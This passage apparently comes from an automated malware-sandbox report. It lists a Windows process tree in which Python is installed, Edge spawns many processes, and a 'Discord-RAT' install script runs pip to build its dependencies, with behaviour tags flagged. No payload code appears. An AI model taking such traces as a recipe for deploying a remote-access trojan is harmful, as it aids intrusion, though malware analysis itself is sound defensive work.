        Drops file in Program Files directory
        
        PID:4872
    - - C:\ProgramData\Package Cache\29104347204BF2D95418EA28730B788408D036EB\py.exe
        
        "C:\ProgramData\Package Cache\29104347204BF2D95418EA28730B788408D036EB\py.exe" -3.12 -OO -E -s -Wi "C:\Program Files\Python312\Lib\compileall.py" -f -x "bad_coding|badsyntax|site-packages|py2_|lib2to3\\tests|venv\\scripts" "C:\Program Files\Python312\Lib"
        5⤵
        Executes dropped EXE
        
        PID:3416
      - C:\Program Files\Python312\python.exe
        
        "C:\Program Files\Python312\python.exe" -OO -E -s -Wi "C:\Program Files\Python312\Lib\compileall.py" -f -x "bad_coding|badsyntax|site-packages|py2_|lib2to3\\tests|venv\\scripts" "C:\Program Files\Python312\Lib"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        
        PID:1420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6868 /prefetch:1
  2⤵
  PID:5848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6600 /prefetch:1
  2⤵
  PID:5404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5572 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6888 /prefetch:1
  2⤵
  PID:5300
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6984 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5076 /prefetch:1
  2⤵
  PID:2344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6588 /prefetch:1
  2⤵
  PID:3816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6176 /prefetch:1
  2⤵
  PID:1276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6344 /prefetch:1
  2⤵
  PID:5256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6080 /prefetch:1
  2⤵
  PID:2560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5764 /prefetch:1
  2⤵
  PID:6528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5160 /prefetch:1
  2⤵
  PID:6504
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5712 /prefetch:1
  2⤵
  PID:5808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6300 /prefetch:1
  2⤵
  PID:6064
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
  2⤵
  PID:1060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5852 /prefetch:1
  2⤵
  PID:2548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2004 /prefetch:1
  2⤵
  PID:6244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6852 /prefetch:1
  2⤵
  PID:5172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6608 /prefetch:1
  2⤵
  PID:4136
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4668 /prefetch:1
  2⤵
  PID:6160
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6904 /prefetch:1
  2⤵
  PID:6064
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5308 /prefetch:1
  2⤵
  PID:432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5904 /prefetch:1
  2⤵
  PID:5080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7064 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4856 /prefetch:1
  2⤵
  PID:5764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2188 /prefetch:1
  2⤵
  PID:5756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6684 /prefetch:1
  2⤵
  PID:1048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5856 /prefetch:1
  2⤵
  PID:1040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1268 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3920
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3556 /prefetch:1
  2⤵
  PID:1132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2096,5556866022436045624,16386348758823610809,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6824 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2320

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3584

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:348

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:5172

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
1⤵
PID:5660

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Registers COM server for autorun
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3988
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 39A7EB43AA71C39760C38F27C6E6990B
  2⤵
  - Loads dropped DLL
  PID:5100

C:\Program Files\Python312\python.exe
"C:\Program Files\Python312\python.exe" -E -s -m ensurepip -U --default-pip
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3420
- C:\Program Files\Python312\python.exe
  "C:\Program Files\Python312\python.exe" -W ignore::DeprecationWarning -c " import runpy import sys sys.path = ['C:\\Users\\Admin\\AppData\\Local\\Temp\\tmp8hw5lbk6\\pip-24.0-py3-none-any.whl'] + sys.path sys.argv[1:] = ['install', '--no-cache-dir', '--no-index', '--find-links', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmp8hw5lbk6', '--upgrade', 'pip'] runpy.run_module(\"pip\", run_name=\"__main__\", alter_sys=True) "
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  PID:5712

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4488

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Discord-RAT-main\Discord-RAT-main\install.cmd" "
1⤵
PID:5956
- C:\Program Files\Python312\Scripts\pip.exe
  pip install -r requirements.txt
  2⤵
  - Executes dropped EXE
  PID:6032
- - C:\Program Files\Python312\python.exe
    "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Scripts\pip.exe" install -r requirements.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Program Files directory
    PID:3628
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-yng772uf\overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- setuptools>=40.8.0
      4⤵
      Executes dropped EXE
      PID:3428
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" get_requires_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmp085b9jj6
      4⤵
      Executes dropped EXE
      PID:4476
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-yng772uf\normal --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- wheel
      4⤵
      Executes dropped EXE
      PID:4908
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" prepare_metadata_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmpqm2idext
      4⤵
      Executes dropped EXE
      PID:2404
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-tn07qucp\overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- setuptools>=40.8.0
      4⤵
      Executes dropped EXE
      PID:4464
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" get_requires_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmp820kcx5w
      4⤵
      Executes dropped EXE
      PID:5960
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-tn07qucp\normal --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- wheel
      4⤵
      Executes dropped EXE
      PID:4740
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" prepare_metadata_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmp8czfe6lw
      4⤵
      Executes dropped EXE
      PID:164
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-s4zq4aps\overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- setuptools>=40.8.0
      4⤵
      Executes dropped EXE
      PID:5036
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" get_requires_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmpfqkmdfu8
      4⤵
      Executes dropped EXE
      PID:3964
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-s4zq4aps\normal --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- wheel
      4⤵
      Executes dropped EXE
      PID:4488
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" prepare_metadata_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmp0k_89x7t
      4⤵
      Executes dropped EXE
      PID:5284
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-2_jj7e8p\overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- setuptools wheel
      4⤵
      Executes dropped EXE
      PID:4068
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" get_requires_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmpjvkfe451
      4⤵
      Executes dropped EXE
      PID:4112
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" prepare_metadata_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmpo00sq658
      4⤵
      Executes dropped EXE
      PID:3828
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-hmis2fkt\overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- setuptools>=40.8.0
      4⤵
      Executes dropped EXE
      PID:4720
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" get_requires_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmpso245i7v
      4⤵
      Executes dropped EXE
      PID:6788
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-hmis2fkt\normal --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- wheel
      4⤵
      Executes dropped EXE
      PID:6724
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" prepare_metadata_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmpq_qucdxu
      4⤵
      Executes dropped EXE
      PID:1968
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-psgd0ox8\overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- setuptools>=40.8.0
      4⤵
      Executes dropped EXE
      PID:3932
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" get_requires_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmpa2yc_poz
      4⤵
      Executes dropped EXE
      PID:6328
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-psgd0ox8\normal --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- wheel
      4⤵
      Executes dropped EXE
      PID:6376
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" prepare_metadata_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmpgwhh5o68
      4⤵
      Executes dropped EXE
      PID:4992
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-atrgv2lk\overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- setuptools>=40.8.0
      4⤵
      Executes dropped EXE
      PID:3960
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" get_requires_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmprh1y1058
      4⤵
      Executes dropped EXE
      PID:6800
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-atrgv2lk\normal --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- wheel
      4⤵
      Executes dropped EXE
      PID:436
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" prepare_metadata_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmpzj1trmyh
      4⤵
      Executes dropped EXE
      PID:1572
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-mg3eo8tu\overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- setuptools>=40.8.0
      4⤵
      Executes dropped EXE
      PID:2424
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" get_requires_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmpj6xpzfyl
      4⤵
      Executes dropped EXE
      PID:6336
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\__pip-runner__.py" install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-mg3eo8tu\normal --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- wheel
      4⤵
      Executes dropped EXE
      PID:6264
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" prepare_metadata_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmp57_8gy69
      4⤵
      Executes dropped EXE
      PID:5484
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" build_wheel C:\Users\Admin\AppData\Local\Temp\tmp_7n4q3sq
      4⤵
      Executes dropped EXE
      PID:5220
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" build_wheel C:\Users\Admin\AppData\Local\Temp\tmp_2hv4ux2
      4⤵
      Executes dropped EXE
      PID:1516
  - - C:\Program Files\Python312\python.exe
      "C:\Program Files\Python312\python.exe" "C:\Program Files\Python312\Lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py" build_wheel C:\Users\Admin\AppData\Local\Temp\tmpk5ipo3ts
      4⤵
      Executes dropped EXE
      PID:5596
  - - C:\Program Files\Python312\python.exe
